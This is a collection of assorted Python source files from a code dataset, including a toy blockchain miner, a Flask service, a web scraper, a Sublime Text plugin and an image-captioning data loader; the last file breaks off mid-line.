+{"seq_id":"111538753","text":"# coding:utf-8\nfrom block import Block\nfrom account import get_account\nfrom database import BlockChainDB\nfrom lib.common import unlock_sig, lock_sig\n\nMAX_COIN = 21000000\nREWARD = 20\n\ndef coinbase():\n    \"\"\"\n    First block generate. \n    cb = block_height, version, merkle_root, target(setting difficulity), hash\n    \"\"\"\n    cb = Block(0, \"00000001\", \"0000000000000000000000000000000000000000000000000000000000000000\", \"0001000000000000000000000000000000000000000000000000000000000000\",\"\")\n    nouce = cb.pow()\n    cb.make(nouce)\n    # Save block and transactions to database.\n\n    BlockChainDB().insert(cb.to_dict())\n    return cb\n\ndef mine():\n    \"\"\"\n    Main miner method.\n    \"\"\"\n    # Found last block and unchecked transactions.\n    last_block = BlockChainDB().last()\n\n    if len(last_block) == 0:\n        last_block = coinbase().to_dict()\n\n    # Miner reward is the first transaction.\n    cb = Block( last_block['block_height'] + 1, last_block['version'], last_block['merkle_root'], last_block['target'], last_block['hash'])\n    nouce = cb.pow()\n    cb.make(nouce)\n    # Save block and transactions to database.\n    BlockChainDB().insert(cb.to_dict())\n    # Broadcast to other nodes\n    Block.spread(cb.to_dict())\n    return cb","sub_path":"miner.py","file_name":"miner.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"639079546","text":"from heapq import heappush, heappop, heapify\nimport tweepy\nimport json\n\nKEY_FILE = \"keys.json\"\n\n\nclass API:\n\n    def __init__(self, key):\n        auth = tweepy.OAuthHandler(key[\"app_key\"], key[\"app_sec\"])\n        auth.set_access_token(key[\"user_key\"], key[\"user_sec\"])\n        self.api = tweepy.API(auth, retry_count = 3, retry_delay = 10, timeout=10, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\n        self.name = key[\"name\"]\n\n\nclass TwitterAPIPool:\n\n    def __init__(self, category, sub_category):\n        self.app_creds = []\n        self.category = category\n        self.sub_category = sub_category\n        with open(KEY_FILE, 'r') as key_file:\n            keys = json.load(key_file)\n            for i, key in enumerate(keys['keys']):\n                app = API(key)\n                self.add_app_key(i, app)\n\n    def add_app_key(self, pos, app):\n        rate_limit_status = app.api.rate_limit_status(\n        )['resources'][self.category][self.sub_category]\n        priority_remaining_requests = -1 * rate_limit_status['remaining']\n        priority_reset_time = rate_limit_status['reset']\n        #print(app.name, pos, priority_remaining_requests, priority_reset_time)\n        heappush(self.app_creds, (priority_remaining_requests,\n                                  priority_reset_time, pos, app))\n\n    def get_api(self):\n        heapify(self.app_creds)\n        app_min_wait_ = heappop(self.app_creds)\n        pos = app_min_wait_[2]\n        app = app_min_wait_[3]\n        self.add_app_key(pos, app)\n        return app.api\n\n    def __len__(self):\n        return len(self.app_creds)\n\n    def __iter__(self):\n        return self\n\n    def next(self):\n        try:\n            return self.get_api()\n        except IndexError:\n            raise StopIteration\n","sub_path":"exploratory_analysis/.ipynb_checkpoints/TwitterAPIManager-checkpoint.py","file_name":"TwitterAPIManager-checkpoint.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"254652005","text":"import sys\nsys.path.insert(0,'/ebay/hermes/PETitles')\nfrom datetime import datetime\nfrom flask import Flask, request, Response\nfrom flask_json import json_response\nfrom model.ProductTitlesScoreServiceResponse import ProductTitlesScoreServiceResponse\nfrom titlescorer.scripts.PETitleScorerApi import PETitleScorer\nfrom functions.ServiceRequestToPythonObject import convert as ServiceRequstToBO\nimport json\n\napp = Flask(__name__)\napp.config['JSON_ADD_STATUS'] = False\ntemplate = \"An exception of type {0} occured. Arguments:\\n{1!r}\"\n\n\n@app.route('/get_time')\ndef get_time():\n    now = datetime.utcnow()\n    return json_response(time=now)\n\n@app.route('/hello', methods=['GET'])\ndef hello():\n    hello = \"hello\"\n    return hello\n\n@app.route('/getTitleScore', methods=['POST'])\ndef handleTitleScoreRequest():\n    try:\n        peTitlesScorerResponse = []\n        jsonRequest = json.loads(request.data)\n        productTitlesScoreServiceRequest = ServiceRequstToBO(jsonRequest)\n        for response in peTitleScorer.calculate_score(productTitlesScoreServiceRequest.productTitlesScoreRequest):\n            peTitlesScorerResponse.append(response)\n        productTitlesScoreServiceResponse = createServiceResponse(ProductTitlesScoreServiceResponse(productTitlesScoreServiceRequest.invocationId, peTitlesScorerResponse, \"200\"), 200)\n    except ValueError as ex:\n        message = template.format(type(ex).__name__, ex.args)\n        productTitlesScoreServiceResponse = createServiceResponse(ProductTitlesScoreServiceResponse(None, None, 400, message), 400)\n    except KeyError as ex:\n        message = template.format(type(ex).__name__, ex.args)\n        productTitlesScoreServiceResponse = createServiceResponse(ProductTitlesScoreServiceResponse(jsonRequest['invocationId'], None, 404, message), 404)\n    except Exception as ex:\n        message = template.format(type(ex).__name__, ex.args)\n        productTitlesScoreServiceResponse = createServiceResponse(ProductTitlesScoreServiceResponse(None, None, 500, \"Internal System Error\"), 500)\n        \n    return productTitlesScoreServiceResponse\n\n\ndef createServiceResponse(productTitlesScoreServiceResponse, status_code):\n    json_response = json.dumps(productTitlesScoreServiceResponse, default=lambda o: o.__dict__, sort_keys=True, indent=4)\n    response = Response(json_response, content_type='application/json; charset=utf-8')\n    response.headers.add('content-length', len(json_response))\n    response.status_code = status_code\n    return response;\n\n\nif __name__ == \"__main__\":\n    adj_fname = \"/ebay/hermes/PETitles/data/adj.txt\"\n    model_fname = \"/ebay/hermes/PETitles/data/model\"\n    true_case = \"/ebay/hermes/PETitles/data/true_case.txt\"\n    peTitleScorer = PETitleScorer(model_fname, adj_fname, true_case)\n    app.run(host='0.0.0.0', port=8000, threaded=True)\n","sub_path":"TitleScoreService.py","file_name":"TitleScoreService.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"467698207","text":"'''\n@Author       : sean cheng\n@Email        : aya234@163.com\n@CreateTime   : 2018/11/3\n@Program      : 数独游戏的主入口\n'''\nimport pygame\nfrom pygame import *\nfrom sudoku.SetVar import SetVar\nfrom sudoku.game_draw import draw_gameArray, draw_background, draw_seletced, setting\n\n\ndef main():\n    global gameArray, selectedArray\n    setting = SetVar()\n\n    pygame.init()\n    screen = pygame.display.set_mode((setting.SCREEN_WIDTH, setting.SCREEN_HEIGHT))\n    pygame.display.set_caption('数独游戏 —— 基于PyGame的实现 version 0.12')\n\n    gameArray = setting.game_data_load()\n    selectedArray = setting.selectedArray\n    # print(gameArray)\n\n    while True:\n        # 关闭游戏\n        setting.terminal_window()\n        draw_background(screen)\n        draw_gameArray(screen, gameArray)\n        draw_seletced(screen)\n\n        pygame.time.Clock().tick(30)\n        pygame.display.update()\n\n\nif __name__ == '__main__':\n    main()","sub_path":"sudoku/Sudoku.py","file_name":"Sudoku.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"139000100","text":"import os\n\nimport time\n\nfrom std.std import merge\n\n\ndef replace_strings(bundle, new_bundle):\n    # Begin function work\n    count_total = 0\n    total_replace = 0\n    count_error = 0\n\n    for path, dirs, files in os.walk(\"/Users/andrew/PycharmProjects/python-build-script/test/android/assets\", True):\n        for cur_name in files:\n            print(files)\n            count_total += 1\n            file_path = merge(path, cur_name)\n            try:\n                text = open(file_path).read()\n                if bundle in text:\n                    open(file_path, 'w').write(text.replace(bundle, new_bundle))\n                    total_replace += 1\n\n            except ValueError:\n                count_error += 1","sub_path":"test/android/country.py","file_name":"country.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"264354826","text":"from flare.gp import GaussianProcess\nfrom flare.struc import Structure\nfrom flare.env import AtomicEnvironment\nimport numpy as np\nimport time\nimport datetime\n\nfrom flare import md\nfrom flare.output import Output\nimport flare.predict as predict\n\nclass MD:\n    \"\"\"Generates NVE dynamics from a GP model.\"\"\"\n\n    def __init__(self, dt: float, number_of_steps: int, gp: GaussianProcess,\n                 pos_init: np.ndarray, species, cell, masses,\n                 prev_pos_init: np.ndarray=None, par: bool=False, skip: int=0,\n                 output_name='otf_run.out'):\n\n        self.dt = dt\n        self.Nsteps = number_of_steps\n        self.gp = gp\n\n        self.structure = Structure(cell=cell, species=species,\n                                   positions=pos_init,\n                                   mass_dict=masses,\n                                   prev_positions=prev_pos_init)\n\n        self.noa = self.structure.positions.shape[0]\n        self.atom_list = list(range(self.noa))\n        self.curr_step = 0\n\n        # choose prediction function\n        if par is True:\n            self.pred_func = predict.predict_on_structure_par_en\n        else:\n            self.pred_func = predict.predict_on_structure_en\n\n        # initialize local energies\n        self.local_energies = np.zeros(self.noa)\n\n        self.pes = []\n        self.kes = []\n\n        self.output = Output(output_name)\n\n    def run(self):\n        self.output.write_header(self.gp.cutoffs, self.gp.kernel_name, self.gp.hyps,\n                                 self.gp.algo, self.dt, self.Nsteps, self.structure)\n        self.start_time = time.time()\n\n        while self.curr_step < self.Nsteps:\n            # verlet algorithm follows Frenkel p. 70\n            self.gp.check_L_alpha()\n            self.pred_func()\n            new_pos = md.update_positions(self.dt, self.noa, self.structure)\n            self.update_temperature(new_pos)\n            self.record_state()\n            self.update_positions(new_pos)\n            self.curr_step += 1\n\n        self.output.conclude_run()\n\n    def update_positions(self, new_pos):\n        self.structure.prev_positions = self.structure.positions\n        self.structure.positions = new_pos\n        self.structure.wrap_positions()\n\n    def update_temperature(self, new_pos):\n        KE, temperature = \\\n                md.calculate_temperature(new_pos, self.structure, self.dt,\n                                         self.noa)\n        self.KE = KE\n        self.temperature = temperature\n\n    def record_state(self):\n        self.pes.append(np.sum(self.local_energies))\n        self.kes.append(self.KE)\n        self.output.write_md_config(self.dt, self.curr_step, self.structure,\n                                    self.temperature, self.KE, self.local_energies,\n                                    self.start_time)\n        self.output.write_xyz_config(self.curr_step, self.structure,\n                                     self.dft_step)\n","sub_path":"flare/md_run.py","file_name":"md_run.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"334926998","text":"import datetime\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\ncsvoutput=open(\"csvEcnJapanese.csv\", \"w+\", encoding=\"UTF-8\")\noutput=open(\"ecnJapanese.txt\", \"w+\", encoding=\"UTF-8\")\n\ndef getEcnstats(threadId):\n html=urlopen(\"https://community.emc.com/thread/\"+str(threadId))\n bsObj=BeautifulSoup(html)\n title=bsObj.title.get_text()\n title=title.strip(\"EMC Community Network - DECN\")\n title=title.strip(\": \")\n questioner=bsObj.find(\"a\", {\"class\":\"jiveTT-hover-user jive-username-link\"})\n questioner=questioner.get_text()\n qpostedtime=bsObj.find(\"span\", {\"class\":\"j-post-author\"})\n qpostedtime=qpostedtime.get_text()\n textlist=qpostedtime.split(\" \")\n posttime=datetime.datetime.strptime(textlist[4], '%H:%M')\n \n summertime=0\n hour = posttime.hour+summertime\n minute = posttime.minute\n\n print(title+\"\\n\")\n output.write(title+\"\\n\")\n csvoutput.write(str(threadId)+\",\"+ title+\",\"+questioner+\",\"+str(hour)+\":\"+str(minute)+\"\\n\")\n\ndef getThreadtext(threadId):\n html=urlopen(\"https://community.emc.com/thread/\"+str(threadId))\n bsObj=BeautifulSoup(html)\n bodylist=bsObj.findAll(\"div\", {\"class\":\"jive-rendered-content\"})\n for body in bodylist: \n  print(body.get_text()+\"\\n\")\n  output.write(body.get_text()+\"\\n\")\n\n\nstartId=input(\"Enter the first thread# which in the Japanese forum site: \")\nendId=input(\"Enter the last thread# which in the Japaneese forum site: \")\nendId=int(endId)+1\n\nfor i in range(int(startId), int(endId)):\n try:\n  htmltemp=urlopen(\"https://community.emc.com/thread/\"+str(i))\n except:\n  print(\"Thread#\"+str(i)+\" has been deleted or is an invalid or private thread.\")\n else:\n  bsObjTemp=BeautifulSoup(htmltemp)\n  templist=bsObjTemp.findAll(\"script\", {\"type\":\"text/javascript\"})\n  templist=str(templist)\n  if \"communityID = '2814';\" in templist:\n   getEcnstats(i)\n   getThreadtext(i)\n  elif \"communityID = '3093';\" in templist:\n   getEcnstats(i)\n   getThreadtext(i)\n  elif \"communityID = '3094';\" in templist:\n   getEcnstats(i)\n   getThreadtext(i)\n  elif \"communityID = '3095';\" in templist:\n   getEcnstats(i)\n   getThreadtext(i)\n  elif \"communityID = '3096';\" in templist:\n   getEcnstats(i)\n   getThreadtext(i)\n\ncsvoutput.close()\noutput.close()\n\n\n","sub_path":"test_ecnJapanesetext4stats.py","file_name":"test_ecnJapanesetext4stats.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"110717249","text":"from sys import stdin\nimport time\n\n\ndef pascal(n):\n    if n == 1:\n        return [1]\n    else:\n        line = [1]\n        linea_ant = pascal(n-1)\n        for i in range(len(linea_ant)-1):\n            line.append(linea_ant[i] + linea_ant[i+1])\n        line += [1]\n        print(*linea_ant)\n    return line\n\n\ndef main():\n    stard=time.time()\n    n=int(stdin.readline().strip())\n    print(*pascal(n))\n    end=time.time()\n    p=end-stard\n    print(p/1000)\nmain()\n","sub_path":"laboratorios/lab3/D -Pascal triangle.py","file_name":"D -Pascal triangle.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"510328049","text":"\"\"\"\nParameters for GridSearchCV\n\nModels:\n- Support Vector Regressor (SVR)\n- Gradient Boosting Tree Regressor (GBRT)\n- Random Forest Rregressor (RFR)\n\"\"\"\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# #Support Vector Regressor (SVR)\nsvr_param_grid = {'kernel': ['linear', 'poly', 'rbf'], \n\t\t\t\t  'degree': [2, 3], \n\t\t\t\t  'C': [5, 4, 3, 2, 1],\n\t\t\t\t  'gamma': [0.01, 0.05, 0.1, 0.2, 0.3, 0.4, 0.5, 1], \n\t\t\t\t  'coef0': [0.0, 0.5, 0.7, 1, 5, 10] }\n\n# #Gradient Boosting Tree Regressor (GBTR)\ngbrt_param_grid = {'n_estimators': list(range(10, 500, 10)),\n\t\t\t\t  'loss': ['ls', 'huber'],\n\t\t\t\t  'learning_rate': [0.01, 0.05, 0.1, 0.25, 0.5], \n\t\t\t\t  'max_features': ['sqrt'],\n\t\t\t\t  'max_depth':[5, 4, 3, 2, 1], \n\t\t\t\t  'min_samples_split':[3, 2]} \n\n# #Random Forest Rregressor (RFR)\nrfr_param_grid = {'n_estimators': list(range(10, 500, 10)), \n\t\t\t\t  'criterion': ['mse'], \n\t\t\t\t  'max_depth': [None], \n\t\t\t\t  'min_samples_split': [2, 4], \n\t\t\t\t  'min_samples_leaf': [2, 5, 10],  \n\t\t\t\t  'max_features': ['auto'],  \n\t\t\t\t  'bootstrap': [True], \n\t\t\t\t  'oob_score': [False]}\n\n\n\n\n\n\n\n\n\n","sub_path":"Final Project/JJ_Machine_Learning/code/model_parameters.py","file_name":"model_parameters.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"363158682","text":"import numpy as np\nfrom plyfile import (PlyData, PlyElement, make2d, PlyParseError, PlyProperty)\n\ndef camera_depth_to_plane_depth(depth, f):\n\n    h_ = depth.shape[0]\n    w_ = depth.shape[1]\n\n    i_c_ = np.float(h_) / 2 - 1\n    j_c_ = np.float(w_) / 2 - 1\n\n    cols_, rows_ = np.meshgrid(np.linspace(0, w_ - 1, num = w_), np.linspace(0, h_ - 1, num = h_))\n    dist_from_center_ = ((rows_ - i_c_)**2 + (cols_ - j_c_)**2)**(0.5)\n    plane_depth_ = depth / ((1 + dist_from_center_ / f)**2)**(0.5)\n\n    return plane_depth_\n\ndef rgbd_to_rgb_cloud(depth, color, cx, cy, fx, fy):\n\n    points_ = []\n    colors_ = []\n\n    for i in range(0, depth.shape[1]-1):\n        for j in range(0, depth.shape[0]-1):\n\n            z_ = depth[j][i] / 1000.0\n            x_ = (i - cx) * (z_ / fx)\n            y_ = (j - cy) * (z_ / fy)\n            \n            r_ = color[j][i][0]\n            g_ = color[j][i][1]\n            b_ = color[j][i][2]\n\n            points_.append([x_, y_, z_])\n            colors_.append([r_, g_, b_])\n\n    return np.array(points_), np.array(colors_)\n\ndef save_ply_cloud(points, colors, filename):\n\n    vertex = np.zeros(points.shape[0], dtype=[('x', 'f4'), ('y', 'f4'), ('z', 'f4'), ('red', 'u1'), ('green', 'u1'), ('blue', 'u1')])\n\n    for i in range(points.shape[0]):\n        vertex[i] = (points[i][0], points[i][1], points[i][2], colors[i][0], colors[i][1], colors[i][2])\n        \n    ply_out = PlyData([PlyElement.describe(vertex, 'vertex', comments=['vertices'])])\n    ply_out.write(filename)\n\ndef generate_cloud(depth, color, camera, outFilename):\n    plane_depth_ = camera_depth_to_plane_depth(depth, camera.fx)\n    points_, colors_ = rgbd_to_rgb_cloud(plane_depth_, color, camera.cx, camera.cy, camera.fx, camera.fy)\n    save_ply_cloud(points_, colors_, outFilename)\n","sub_path":"generator/gnt_cloud.py","file_name":"gnt_cloud.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"136021081","text":"#!/usr/bin/python\nimport html2text\nfrom bs4 import BeautifulSoup\nimport posixpath\nimport os\nfrom os import remove\nfrom os import listdir\nfrom os.path import isfile, join, isdir, relpath\nimport shutil\nimport queue\n\n\n# TODO:\n# - [x]Read in whole file\n# - [x]Convert whole file to markdown\n# - [x]Write to a new file\n# - [x]read in line by line until ##\n# - [x]copy the rest of file into new samename markdown file\n# - [x] fix document links\n# - [x] create a directory with the filename\n# - [x] store images used in the directory\n# - [] keep relative path for links\n\n# helper function that checks if a link is valid\nimages = {}\nrootpath = \"~/\"\nq = queue.Queue()\nmypath = os.getcwd()\nstring = mypath.split('\\\\')\nmypath = \"/\".join(string)\nfiledict = {\n    \"AP-OVERVIEW.htm\": \"AP-OVERVIEW\",\n    \"AP-OVERVIEW.htm\": \"AP-OVERVIEW\",\n    \"AR-OVERVIEW.htm\": \"AR-OVERVIEW\",\n    \"DOC-OVERVIEW.htm\": \"DOC-OVERVIEW\",\n    \"ENG-OVERVIEW.htm\": \"ENG-OVERVIEW\",\n    \"EXEC-OVERVIEW.htm\": \"EXEC-OVERVIEW\",\n    \"FS-OVERVIEW.htm\": \"FS-OVERVIEW\",\n    \"GL-OVERVIEW.htm\": \"GL-OVERVIEW\",\n    \"INV-OVERVIEW.htm\": \"INV-OVERVIEW\",\n    \"MFG-OVERVIEW.htm\": \"MFG-OVERVIEW\",\n    \"MRK-OVERVIEW.htm\": \"MRK-OVERVIEW\",\n    \"PRO-OVERVIEW.htm\": \"PRO-OVERVIEW\",\n    \"PUR-OVERVIEW.htm\": \"PUR-OVERVIEW\",\n    \"ACE-OVERVIEW.htm\": \"ACE-OVERVIEW\"\n}\nlinkset = {}\nfor key in filedict:\n    filedict[key] = mypath + '/' + filedict[key]\n\nvisited = set()\n\n\ndef valid_link(link):\n    return isfile(link)\n\n# helper funciton that decomposes prev and next links\n\n\ndef sanitize_links(soup):\n    for item in soup.find_all('a'):\n        title = item.string\n        if title == \"Previous\" or title == \"Next\":\n            item.decompose()\n\n# Helper function that gets specified link from soup and decomposes if link is not valid\n\n\ndef move_images(images, path):\n    if(len(images) > 0):\n        for image in images:\n            shutil.copy(image, path)\n\n\ndef get_images(soup):\n    images = []\n    for image in soup.find_all('img'):\n        imagepath = image.get('src')\n        if valid_link(imagepath):\n            imagename = imagepath[7:len(imagepath)]\n            image['src'] = \"./\" + imagename\n            images.append(imagepath)\n    return images\n\n\ndef get_relative(root, storedpath):\n    string = storedpath.split('site/')[1]\n    return root + string\n\n# This function returns a string that points to the site/ folder\n\n\ndef get_root_string(height):\n    str = \"\"\n    for i in range(0, height):\n        str += '../'\n    return str\n\n\ndef get_height(path):\n    tokens = path.split('/')\n    tokens.reverse()\n    height = 0\n    for token in tokens:\n        if token != 'site':\n            height += 1\n        else:\n            break\n    return height\n\n\ndef get_links(parentfolder, soup):\n    links = []\n    for atag in soup.find_all('a'):\n        href = atag['href']\n        childfolder = href.split(\".\")[0]\n        if href in visited:\n            storedpath = filedict[href]\n            height = get_height(filedict[parentfolder])\n            root = get_root_string(height)\n            relativepath = get_relative(root, storedpath)\n            atag['href'] = relativepath\n            # relative = relpath(storedpath, join(\n            #   filedict[parentfolder], childfolder))\n            #atag['href'] = relative\n        elif valid_link(href):\n            currpath = filedict[parentfolder] + '/' + childfolder\n            filedict[href] = currpath\n            atag['href'] = get_prepend_diff(\n                currpath, parentfolder) + \"/README.md\"\n            links.append(href)\n        else:\n            atag.decompose\n    return links\n\n\ndef get_prepend_diff(currpath, parentfolder):\n    tokens = currpath.split('/')\n    parent = parentfolder.split('.')[0]\n    toconcat = False\n    path = []\n    for str in tokens:\n        if toconcat:\n            path.append(str)\n        if str == parent:\n            toconcat = True\n\n    return '/'.join(path)\n\n\n# Helper function to create directory\n\ndef create_dir(path):\n    if not isdir(path):\n        os.mkdir(path)\n\n# Helper funciton to create README file\n\n\ndef create_base_readme(path):\n    filename = join(path, \"README.md\")\n    if not isfile(filename):\n        f = open(filename, \"x\")\n        f.close()\n        return 1\n    return 0\n\n# Format the version badge\n\n\ndef version(path):\n    f = open(join(path, \"README.md\"), 'r+')\n    string = f.readline()\n    content = \"\"\n    while string != '':\n        tempstring = string[0: 7]\n        if 'Version' == tempstring:\n            break\n        elif 'Copyright' in string:\n            break\n        content += string\n        string = f.readline()\n    while 'Version' not in string and string != '':\n        string = f.readline()\n        string = string.strip()\n    tokenizedstring = string.split(' ')\n    string = tokenizedstring[0] + ' ' + tokenizedstring[1]\n    content += ''\n    return content\n\n\ndef sanitize_html(path):\n    f = open(path)\n    line = f.readline()\n    content = \"\"\n    while not \" FalSe\n\t\t\t\t# For original case\n\t\t\t\tif editor_word == word_item[i]:\n\t\t\t\t\tself.view.replace(view, region, word_item[j])\n\t\t\t\t\treturn\n\t\t\t\t# true <> false\n\t\t\t\t# For case when all letters are lowercase\n\t\t\t\tif editor_word == word_item[i].lower():\n\t\t\t\t\tself.view.replace(view, region, word_item[j].lower())\n\t\t\t\t\treturn\n\t\t\t\t# True <> False\n\t\t\t\t# For case when first letter is uppercase\n\t\t\t\tif editor_word == word_item[i].capitalize():\n\t\t\t\t\tself.view.replace(view, region, word_item[j].capitalize())\n\t\t\t\t\treturn\n\t\t\t\t# TRUE <> FALSE\n\t\t\t\t# For case when all letters are uppercase\n\t\t\t\tif editor_word == word_item[i].upper():\n\t\t\t\t\tself.view.replace(view, region, word_item[j].upper())\n\t\t\t\t\treturn\n\n\t\t# Word not found? Show message\n\t\tsublime.status_message(\n\t\t\t\"{0}: Can't find toggles for '{1}'\".format(PLUGIN_NAME, editor_word)\n\t\t)\n\n\tdef run(self, view):\n\n\t\t# Would be nice to only run config when loading the editor,\n\t\t# not on each time the main function is called, but...\n\t\t# can't figure out how to do that without breaking the loading of plugin\n\t\tuser_dict = sublime.Settings.get(sublime.load_settings(SETTINGS_FILE), 'toggle_word_dict', {})\n\n\t\twords_dict = DEFAULT_WORDS\n\n\t\tfor item in user_dict:\n\t\t\twords_dict.append(item)\n\n\t\tfor region in self.view.sel():\n\t\t\tword_region = self.view.word(region)\n\t\t\tself.toggle_word(view, word_region, words_dict)\n","sub_path":"ToggleWord.py","file_name":"ToggleWord.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"623027886","text":"# -*- coding:utf-8 -*-\n\nimport os\nimport sys\nimport tensorflow as tf\nfrom tensorflow import gfile\nfrom tensorflow import logging\nimport pprint\nimport pickle\nimport numpy as np\nimport math\nimport random\n\n# 打印出 log\ntf.logging.set_verbosity(tf.logging.INFO)\n\n\ninput_description_file = \"./flickr 30k/results_20130124.token\"\ninput_img_feature_dir = './flickr 30k/download_tensorflow_inception_features'\ninput_vocab_file = './flickr 30k/vocab.txt'\noutput_dir = './flickr 30k/local_run'\n\nif not gfile.Exists(output_dir):\n    gfile.MakeDirs(output_dir)\n\n\ndef get_default_params():\n    return tf.contrib.training.HParams(\n        num_vocab_word_threshold=3,\n        num_embedding_nodes=32,\n        num_timesteps=10,\n        num_lstm_nodes=[64, 64],\n        num_lstm_layers=2,\n        num_fc_nodes=32,\n        batch_size=100,\n        cell_type='lstm',\n        clip_lstm_grads=1.0,\n        learning_rate=0.001,\n        keep_prob=0.8,\n        log_frequent=500,\n        save_frequent=5000,\n    )\n\ntraining_steps = 1000000\n\nhps = get_default_params()\n\n\nclass Vocab(object):\n    '''\n    构建词表\n    '''\n    def __init__(self, filename, word_num_threshold):\n        self._id_to_word = {} # 从 词id 到 单词 映射\n        self._word_to_id = {} # 从 单词 到 词id 的映射\n        self._unk = -1\n        self._eos = -1\n        self._word_num_threshold = word_num_threshold\n        self._read_dict(filename) # 将 词表 读入 成 字典形式\n\n    def _read_dict(self, filename):\n        '''\n        将 词表 读入 成 字典形式\n        :param filename: 词表文件\n        :return:\n        '''\n        with gfile.GFile(filename, 'r') as f:\n            lines = f.readlines()\n        for line in lines:\n            # occurence 是 词频\n            word, occurence = line.strip('\\r\\n').split('\\t')\n            occurence = int(occurence)\n            if word != '' and occurence < self._word_num_threshold:\n                continue\n            # 按照 进入 字典 的 顺序排序\n            idx = len(self._id_to_word)\n            if word == '':\n                self._unk = idx\n            elif word == '.':\n                self._eos = idx\n            if idx in self._id_to_word or word in self._word_to_id:\n                raise Exception('duplicate words in vocab file')\n            # 接下来 构建两个映射\n            self._word_to_id[word] = idx\n            self._id_to_word[idx] = word\n\n    @property\n    def unk(self):\n        return self._unk\n\n    @property\n    def eos(self):\n        return self._eos\n\n    def word_to_id(self, word):\n        '''\n        单个单词 转化为 id 表示\n        :param word: 单词名称\n        :return: 词id\n        '''\n        return self._word_to_id.get(word, self.unk)\n\n    def id_to_word(self, cur_id):\n        '''\n        词id 转化 为 单词\n        :param cur_id:  词id\n        :return: 单词\n        '''\n        return self._id_to_word.get(cur_id, '')\n\n    def size(self):\n        # 词表 长度\n        return len(self._word_to_id)\n\n    def encode(self, sentence):\n        '''\n        将一个描述中的单词，映射成 id 表示\n        :param sentence: 描述语句\n        :return: 词id句子\n        '''\n        word_ids = [self.word_to_id(cur_word) for cur_word in sentence.split(' ')]\n        return word_ids\n\n    def decode(self, sentence_id):\n        '''\n        将一个 id 句子，转化为 单词句子\n        :param sentence_id:\n        :return:\n        '''\n        words = [self.id_to_word(word_id) for word_id in sentence_id]\n        return ' '.join(words)\n\n\ndef parse_token_file(token_file):\n    '''\n    解析token文件\n    :param token_file: 文件路径\n    :return: dict 形式如： {'1234.jpg': ['this is a people', 'the people is happy']}\n    '''\n    img_name_to_tokens = {}\n    with gfile.GFile(token_file, 'r') as f:\n        lines = f.readlines()\n    for line in lines:\n        img_id, description = line.strip('\\r\\n').split('\\t')\n        img_name, _ = img_id.split('#')\n        img_name_to_tokens.setdefault(img_name, [])\n        img_name_to_tokens[img_name].append(description)\n    return img_name_to_tokens\n\n\ndef convert_token_to_id(img_name_to_tokens, vocab):\n    '''\n    简单的说，就是在上一个函数出来的结果中，把描述文字 换成 id 表示\n    :param img_name_to_tokens:\n    :param vocab: 词表 字典\n    :return: dict 形式如： {'1234.jpg': ['4 556 44 6757', '2223 4354 22 1']}\n    '''\n    img_name_to_token_ids = {}\n    for img_name in img_name_to_tokens:\n        img_name_to_token_ids.setdefault(img_name, [])\n        descriptions = img_name_to_tokens[img_name]\n        for description in descriptions:\n            token_ids = vocab.encode(description)\n            img_name_to_token_ids[img_name].append(token_ids)\n    return img_name_to_token_ids\n\n\nvocab = Vocab(input_vocab_file, hps.num_vocab_word_threshold)\nvocab_size = vocab.size() # 获得词表长度\nlogging.info(\"vocab_size: %d\" % vocab_size)\n\n\nimg_name_to_tokens = parse_token_file(input_description_file)\n# 图像 对应的 描述信息\nimg_name_to_token_ids = convert_token_to_id(img_name_to_tokens, vocab)\n\n\nclass ImageCaptionData(object):\n    '''\n    数据供应\n    '''\n    def __init__(self,\n                 img_name_to_token_ids,\n                 img_feature_dir,\n                 num_timesteps,\n                 vocab,\n                 deterministic=False):\n        '''\n\n        :param img_name_to_token_ids: 图像到描述字典\n        :param img_feature_dir: 图像特征 保存文件目录\n        :param num_timesteps: 时间步的数量\n        :param vocab: 词表\n        :param deterministic: 是否打乱\n        '''\n        self._vocab = vocab\n        self._all_img_feature_filepaths = [] # 拼接出　图像特征文件的　路径\n        for filename in gfile.ListDirectory(img_feature_dir):\n            self._all_img_feature_filepaths.append(os.path.join(img_feature_dir, filename))\n\n        self._img_name_to_token_ids = img_name_to_token_ids\n        self._num_timesteps = num_timesteps\n        self._indicator = 0 # batch_size 的 起始点\n        self._deterministic = deterministic\n        self._img_feature_filenames = [] # 保存所有图像特征的路径\n        self._img_feature_data = [] # 保存 所有 图像特征\n        self._load_img_feature_pickle()\n        if not self._deterministic:\n            self._random_shuffle()\n\n    def _load_img_feature_pickle(self):\n        '''\n        从 文件 从 读取 图像 特征\n        :return:\n        '''\n        for filepath in self._all_img_feature_filepaths:\n            with gfile.GFile(filepath, 'rb') as f:\n                filenames, features = pickle.load(f, encoding='iso-8859-1')\n                self._img_feature_filenames += filenames # 将列表拼接到一起\n                self._img_feature_data.append(features) # 将 特征 保存到一起\n        # 如 原来矩阵是 [#(1000, 1, 1, 2048), #(1000, 1, 1, 2048)] 合并之后为 (2000, 